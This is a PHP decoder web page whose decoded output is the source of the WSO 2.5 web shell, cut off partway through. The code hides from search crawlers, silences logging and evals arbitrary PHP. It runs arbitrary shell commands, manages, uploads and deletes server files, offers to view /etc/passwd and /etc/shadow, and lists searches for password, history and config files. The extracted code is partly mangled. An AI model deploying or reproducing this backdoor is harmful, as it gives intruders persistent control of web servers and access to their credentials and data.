Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("JGF1dGhfcGFzcyA9ICJhMjM5NDNhNWVkYzU2Zjc5NmVhMWFlZWI1N2Y3OGR..

Decoded Output download

<?php ?>$auth_pass = "a23943a5edc56f796ea1aeeb57f78dd4";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if (get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
    die("<pre align=center><form method=post> <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}
if (!empty($auth_pass)) {
    if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
}
if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
else $os = 'nix';
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode) error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if (isset($_POST['c'])) @chdir($_POST['c']);
$cwd = @getcwd();
if ($os == 'win') {
    $home_cwd = str_replace("", " / ", $home_cwd);
	$cwd = str_replace("", " / ", $cwd);
}
if($cwd[strlen($cwd) - 1] != '/')
	$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
	$aliases = array(
		"ListDirectory" => "dir",
    	"Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
    	"Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
    	"Showactiveconnections" => "netstat - an",
    	"Showrunningservices" => "netstart",
    	"Useraccounts" => "netuser",
    	"Showcomputers" => "netview",
		"ARPTable" => "arp - a",
		"IPConfiguration" => "ipconfig / all"
	);
else
	$aliases = array(
  		"Listdir" => "ls - lha",
		"listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
  		"showopenedports" => "netstat - an | grep - ilisten",
        "processstatus" => "psaux",
		"Find" => "",
  		"findallsuidfiles" => "find / -typef - perm - 04000 - ls",
  		"findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
  		"findallsgidfiles" => "find / -typef - perm - 02000 - ls",
  		"findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
  		"findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
  		"findconfig * files" => "find / -typef - name"config*"", "find config* files in current dir" => "find . -type f -name "config*"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
    function wsoHeader() {
        if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
        global $color;
        echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
	<style>
		body{background-color:#444;color:#e1e1e1;}
		body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
		table.info{ color:#fff;background-color:#222; }
		span,h1,a{ color: $color !important; }
		span{ font-weight: bolder; }
		h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
		div.content{ padding: 5px;margin-left:5px;background-color:#333; }
		a{ text-decoration:none; }
			a:hover{ text-decoration:underline; }
			.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
			.bigarea{ width:100%;height:300px; }
			input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
		form{ margin:0px; }
			#toolsTbl{ text-align:center; }
			.toolsInp{ width: 300px }
			.main th{text-align:left;background-color:#5e5e5e;}
			.main tr:hover{background-color:#5e5e5e}
			.l1{background-color:#444}
			.l2{background-color:#333}
			pre{font-family:Courier,Monospace;}
	</style>
	<script>
		var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
		var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
		var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
		var p1_ = '" . ((strpos(@$_POST['p1'], "") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
		var p2_ = '" . ((strpos(@$_POST['p2'], "") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
		var p3_ = '" . ((strpos(@$_POST['p3'], "") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
		var d = document;
		
		function set(a,c,p1,p2,p3,charset) {
			if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
			if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
			if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
			if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
			if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
			if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
		}
		
		function g(a,c,p1,p2,p3,charset) {
			set(a,c,p1,p2,p3,charset);
			d.mf.submit();
		}
		
		function a(a,c,p1,p2,p3,charset) {
			set(a,c,p1,p2,p3,charset);
			var params = 'ajax=true';
			for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
			sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
		}
		
		function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
			}
		}
	
		function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp("(d+)([Ss]*)", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
		}
	</script>
<head>
<body>
<div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace ? $totalSpace : 1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
    if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
		else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
        if (!function_exists('posix_getegid')) {
            $user = @get_current_user();
            $uid = @getmyuid();
            $gid = @getmygid();
            $group = "?";
        } else {
            $uid = @posix_getpwuid(posix_geteuid());
            $gid = @posix_getgrgid(posix_getegid());
            $user = $uid['name'];
            $uid = $uid['uid'];
            $group = $gid['name'];
            $gid = $gid['gid'];
        }
        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n = count($path);
        for ($i = 0;$i < $n - 1;$i++) {
            $cwd_links.= "<a href='#' onclick='g("FilesMan","";
            for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
            $cwd_links.= "")'>" . $path[$i] . "/</a>";
        }
        $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
        $opt_charsets = '';
        foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
        $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
        if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
        $m['Self remove'] = 'SelfRemove';
        $menu = '';
        foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g('' . $v . '',null,'','','')">' . $k . '</a> ]</th>';
        $drives = "";
        if ($GLOBALS['os'] == 'win') {
            foreach (range('c', 'z') as $drive) if (is_dir($drive . ':'))
			$drives .= ' < ahref = "#"onclick = "g('FilesMan',''.$drive.':/')" > ['.$drive.'] < / a > ';
	}
	echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
                                ' . ($GLOBALS['os'] == 'win'?' < br > Drives:':'') . ' < / span > < / td > '
       . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ')
       . ' < ahref = # onclick="g('Php',null,'','info')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g('FilesMan','' . $GLOBALS['home_cwd'] . '','','','')">[ home ]</a><br>' . $drives . '</td>'
                                             . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
                                        }
                                        function wsoFooter() {
                                            $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
                                            echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,"");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
		<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
                                        }
                                        if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
                                            function posix_getpwuid($p) {
                                                return false;
                                            }
                                        }
                                        if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
                                            function posix_getgrgid($p) {
                                                return false;
                                            }
                                        }
                                        function wsoEx($in) {
                                            $out = '';
                                            if (function_exists('exec')) {
                                                @exec($in, $out);
                                                $out = @join("", $out);
                                            } elseif (function_exists('passthru')) {
                                                ob_start();
                                                @passthru($in);
                                                $out = ob_get_clean();
                                            } elseif (function_exists('system')) {
                                                ob_start();
                                                @system($in);
                                                $out = ob_get_clean();
                                            } elseif (function_exists('shell_exec')) {
                                                $out = shell_exec($in);
                                            } elseif (is_resource($f = @popen($in, "r"))) {
                                                $out = "";
                                                while ([email protected]($f)) $out.= fread($f, 1024);
                                                pclose($f);
                                            }
                                            return $out;
                                        }
                                        function wsoViewSize($s) {
                                            if (is_int($s)) $s = sprintf("%u", $s);
                                            if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
                                            elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
                                            elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
                                            else return $s . ' B';
                                        }
                                        function wsoPerms($p) {
                                            if (($p & 0xC000) == 0xC000) $i = 's';
                                            elseif (($p & 0xA000) == 0xA000) $i = 'l';
                                            elseif (($p & 0x8000) == 0x8000) $i = '-';
                                            elseif (($p & 0x6000) == 0x6000) $i = 'b';
                                            elseif (($p & 0x4000) == 0x4000) $i = 'd';
                                            elseif (($p & 0x2000) == 0x2000) $i = 'c';
                                            elseif (($p & 0x1000) == 0x1000) $i = 'p';
                                            else $i = 'u';
                                            $i.= (($p & 0x0100) ? 'r' : '-');
                                            $i.= (($p & 0x0080) ? 'w' : '-');
                                            $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
                                            $i.= (($p & 0x0020) ? 'r' : '-');
                                            $i.= (($p & 0x0010) ? 'w' : '-');
                                            $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
                                            $i.= (($p & 0x0004) ? 'r' : '-');
                                            $i.= (($p & 0x0002) ? 'w' : '-');
                                            $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
                                            return $i;
                                        }
                                        function wsoPermsColor($f) {
                                            if ([email protected]_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
                                            elseif ([email protected]_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
                                            else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
                                        }
                                        function wsoScandir($dir) {
                                            if (function_exists("scandir")) {
                                                return scandir($dir);
                                            } else {
                                                $dh = opendir($dir);
                                                while (false !== ($filename = readdir($dh))) $files[] = $filename;
                                                return $files;
                                            }
                                        }
                                        function wsoWhich($p) {
                                            $path = wsoEx('which ' . $p);
                                            if (!empty($path)) return $path;
                                            return false;
                                        }
                                        function actionSecInfo() {
                                            wsoHeader();
                                            echo '<h1>Server security information</h1><div class=content>';
                                            function wsoSecParam($n, $v) {
                                                $v = trim($v);
                                                if ($v) {
                                                    echo '<span>' . $n . ': </span>';
                                                    if (strpos($v, "") === false) echo $v . '<br>';
                                                    else echo '<pre class=ml1>' . $v . '</pre>';
                                                }
                                            }
                                            wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
                                            if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
                                            wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
                                            wsoSecParam('Open base dir', @ini_get('open_basedir'));
                                            wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
                                            wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
                                            wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
                                            $temp = array();
                                            if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
                                            if (function_exists('mssql_connect')) $temp[] = "MSSQL";
                                            if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
                                            if (function_exists('oci_connect')) $temp[] = "Oracle";
                                            wsoSecParam('Supported databases', implode(', ', $temp));
                                            echo '<br>';
                                            if ($GLOBALS['os'] == 'nix') {
                                                wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g("FilesTools", "/etc/", "passwd")'>[view]</a>" : 'no');
                                                wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g("FilesTools", "/etc/", "shadow")'>[view]</a>" : 'no');
                                                wsoSecParam('OS version', @file_get_contents('/proc/version'));
                                                wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
                                                if (!$GLOBALS['safe_mode']) {
                                                    $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                                                    $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                                                    $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                                                    echo '<br>';
                                                    $temp = array();
                                                    foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
                                                    wsoSecParam('Userful', implode(', ', $temp));
                                                    $temp = array();
                                                    foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
                                                    wsoSecParam('Danger', implode(', ', $temp));
                                                    $temp = array();
                                                    foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
                                                    wsoSecParam('Downloaders', implode(', ', $temp));
                                                    echo '<br/>';
                                                    wsoSecParam('HDD space', wsoEx('df -h'));
                                                    wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                                                    echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit='g(null,null,"5",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                                                    if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                                                        $temp = "";
                                                        for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                                                            $uid = @posix_getpwuid($_POST['p2']);
                                                            if ($uid) $temp.= join(':', $uid) . "
";
                                                        }
                                                        echo '<br/>';
                                                        wsoSecParam('Users', $temp);
                                                    }
                                                }
                                            } else {
                                                wsoSecParam('OS Version', wsoEx('ver'));
                                                wsoSecParam('Account Settings', wsoEx('net accounts'));
                                                wsoSecParam('User Accounts', wsoEx('net user'));
                                            }
                                            echo '</div>';
                                            wsoFooter();
                                        }
                                        function actionPhp() {
                                            if (isset($_POST['ajax'])) {
                                                WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                                                ob_start();
                                                eval($_POST['p1']);
                                                $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "'") . "';";
                                                echo strlen($temp), "", $temp;
                                                exit;
                                            }
                                            if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
                                            wsoHeader();
                                            if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
                                                echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
                                                ob_start();
                                                phpinfo();
                                                $tmp = ob_get_clean();
                                                $tmp = preg_replace(array('!(body|a:w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
                                                echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
                                            }
                                            echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a('Php',null,this.code.value);}else{g('Php',null,this.code.value,'');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
                                            echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
                                            if (!empty($_POST['p1'])) {
                                                ob_start();
                                                eval($_POST['p1']);
                                                echo htmlspecialchars(ob_get_clean());
                                            }
                                            echo '</pre></div>';
                                            wsoFooter();
                                        }
                                        function actionFilesMan() {
                                            if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
                                            if (!empty($_POST['p1'])) {
                                                switch ($_POST['p1']) {
                                                    case 'uploadFile':
                                                        if ([email protected]_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
                                                        break;
                                                    case 'mkdir':
                                                        if ([email protected]($_POST['p2'])) echo "Can't create new dir";
                                                        break;
                                                    case 'delete':
                                                        function deleteDir($path) {
                                                            $path = (substr($path, -1) == '/') ? $path : $path . '/';
                                                            $dh = opendir($path);
                                                            while (($item = readdir($dh)) !== false) {
                                                                $item = $path . $item;
                                                                if ((basename($item) == "..") || (basename($item) == ".")) continue;
                                                                $type = filetype($item);
                                                                if ($type == "dir") deleteDir($item);
                                                                else @unlink($item);
                                                            }
                                                            closedir($dh);
                                                            @rmdir($path);
                                                        }
                                                        if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
                                                            if ($f == '..') continue;
                                                            $f = urldecode($f);
                                                            if (is_dir($f)) deleteDir($f);
                                                            else @unlink($f);
                                                        }
                                                        break;
                                                    case 'paste':
                                                        if ($_COOKIE['act'] == 'copy') {
                                                            function copy_paste($c, $s, $d) {
                                                                if (is_dir($c . $s)) {
                                                                    mkdir($d . $s);
                                                                    $h = @opendir($c . $s);
                                                                    while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
                                                                } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
                                                            }
                                                            foreach ($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                                                        } elseif ($_COOKIE['act'] == 'move') {
                                                            function move_paste($c, $s, $d) {
                                                                if (is_dir($c . $s)) {
                                                                    mkdir($d . $s);
                                                                    $h = @opendir($c . $s);
                                                                    while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
                                                                } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
                                                            }
                                                            foreach ($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                                                        } elseif ($_COOKIE['act'] == 'zip') {
                                                            if (class_exists('ZipArchive')) {
                                                                $zip = new ZipArchive();
                                                                if ($zip->open($_POST['p2'], 1)) {
                                                                    chdir($_COOKIE['c']);
                                                                    foreach ($_COOKIE['f'] as $f) {
                                                                        if ($f == '..') continue;
                                                                        if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
                                                                        elseif (@is_dir($_COOKIE['c'] . $f)) {
                                                                            $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                                                            foreach ($iterator as $key => $value) {
                                                                                $zip->addFile(realpath($key), $key);
                                                                            }
                                                                        }
                                                                    }
                                                                    chdir($GLOBALS['cwd']);
                                                                    $zip->close();
                                                                }
                                                            }
                                                        } elseif ($_COOKIE['act'] == 'unzip') {
                                                            if (class_exists('ZipArchive')) {
                                                                $zip = new ZipArchive();
                                                                foreach ($_COOKIE['f'] as $f) {
                                                                    if ($zip->open($_COOKIE['c'] . $f)) {
                                                                        $zip->extractTo($GLOBALS['cwd']);
                                                                        $zip->close();
                                                                    }
                                                                }
                                                            }
                                                        } elseif ($_COOKIE['act'] == 'tar') {
                                                            chdir($_COOKIE['c']);
                                                            $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                                                            wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                                                            chdir($GLOBALS['cwd']);
                                                        }
                                                        unset($_COOKIE['f']);
                                                        setcookie('f', '', time() - 3600);
                                                        break;
                                                    default:
                                                        if (!empty($_POST['p1'])) {
                                                            WSOsetcookie('act', $_POST['p1']);
                                                            WSOsetcookie('f', serialize(@$_POST['f']));
                                                            WSOsetcookie('c', @$_POST['c']);
                                                        }
                                                        break;
                                                    }
                                                }
                                                wsoHeader();
                                                echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
                                                $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
                                                if ($dirContent === false) {
                                                    echo 'Can't open this folder!';
                                                    wsoFooter();
                                                    return;
                                                }
                                                global $sort;
                                                $sort = array('name', 1);
                                                if (!empty($_POST['p1'])) {
                                                    if (preg_match('!s_([A-z]+)_(d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
                                                }
                                                echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g("FilesMan",null,"s_name_" . ($sort[1] ? 0 : 1) . "")'>Name</a></th><th><a href='#' onclick='g("FilesMan",null,"s_size_" . ($sort[1] ? 0 : 1) . "")'>Size</a></th><th><a href='#' onclick='g("FilesMan",null,"s_modify_" . ($sort[1] ? 0 : 1) . "")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g("FilesMan",null,"s_perms_" . ($sort[1] ? 0 : 1) . "")'>Permissions</a></th><th>Actions</th></tr>";
                                                $dirs = $files = array();
                                                $n = count($dirContent);
                                                for ($i = 0;$i < $n;$i++) {
                                                    $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
                                                    $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
                                                    $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
